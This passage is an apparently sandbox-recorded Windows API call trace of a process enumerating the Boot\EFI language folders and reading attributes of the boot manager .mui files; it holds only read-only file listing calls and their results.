	[0086.356] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.356] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe26642f7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dfa87e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78225144, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.356] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4edb5c7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5671b4e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5671b4e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.357] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.357] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.357] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408b98 | out: lpFileInformation=0x12408b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe26642f7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dfa87e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78225144, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1
	[0086.357] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\fi-fi\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408be8 | out: lpFileInformation=0x12408be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4edb5c7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5671b4e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5671b4e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1
	[0086.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR" (normalized: "c:\\windows\\boot\\efi\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x12408c38 | out: lpFileInformation=0x12408c38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.358] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR" (normalized: "c:\\windows\\boot\\efi\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.358] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.358] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.358] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea84491c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeafdaea3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x783ee194, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.358] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea7ac3a8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaed0518, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaed0518, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.358] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.358] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408d28 | out: lpFileInformation=0x12408d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea84491c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeafdaea3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x783ee194, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1
	[0086.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408d78 | out: lpFileInformation=0x12408d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea7ac3a8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaed0518, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaed0518, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000)) returned 1
	[0086.359] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU" (normalized: "c:\\windows\\boot\\efi\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x12408dc8 | out: lpFileInformation=0x12408dc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.360] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU" (normalized: "c:\\windows\\boot\\efi\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.360] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.360] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.360] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe17a9c00, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe217b5fa, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78486704, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.360] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8502603, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c26773, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c26773, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.360] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.360] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.360] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408eb8 | out: lpFileInformation=0x12408eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe17a9c00, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe217b5fa, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78486704, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1
	[0086.360] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408f08 | out: lpFileInformation=0x12408f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8502603, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c26773, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c26773, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600)) returned 1
	[0086.361] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\it-IT" (normalized: "c:\\windows\\boot\\efi\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x12408f58 | out: lpFileInformation=0x12408f58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.361] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\it-IT" (normalized: "c:\\windows\\boot\\efi\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.361] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.361] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.361] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4366cce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ab0f9b, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7832fac8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.361] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe985973d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9f57750, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9f7d8ad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.361] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.361] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.361] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\it-it\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409048 | out: lpFileInformation=0x12409048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4366cce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ab0f9b, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7832fac8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.362] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\it-it\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409098 | out: lpFileInformation=0x12409098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe985973d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9f57750, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9f7d8ad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600)) returned 1
	[0086.362] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP" (normalized: "c:\\windows\\boot\\efi\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x124090e8 | out: lpFileInformation=0x124090e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.362] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP" (normalized: "c:\\windows\\boot\\efi\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.363] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.363] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d4243a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea41a2f0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78780234, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8385861, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8a83874, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8a83874, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.363] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.363] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124091d8 | out: lpFileInformation=0x124091d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d4243a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea41a2f0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78780234, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12a50)) returned 1
	[0086.363] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409228 | out: lpFileInformation=0x12409228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8385861, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8a83874, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8a83874, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10e00)) returned 1
	[0086.364] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR" (normalized: "c:\\windows\\boot\\efi\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x12409278 | out: lpFileInformation=0x12409278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.364] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR" (normalized: "c:\\windows\\boot\\efi\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.364] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.364] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.364] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe212f340, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
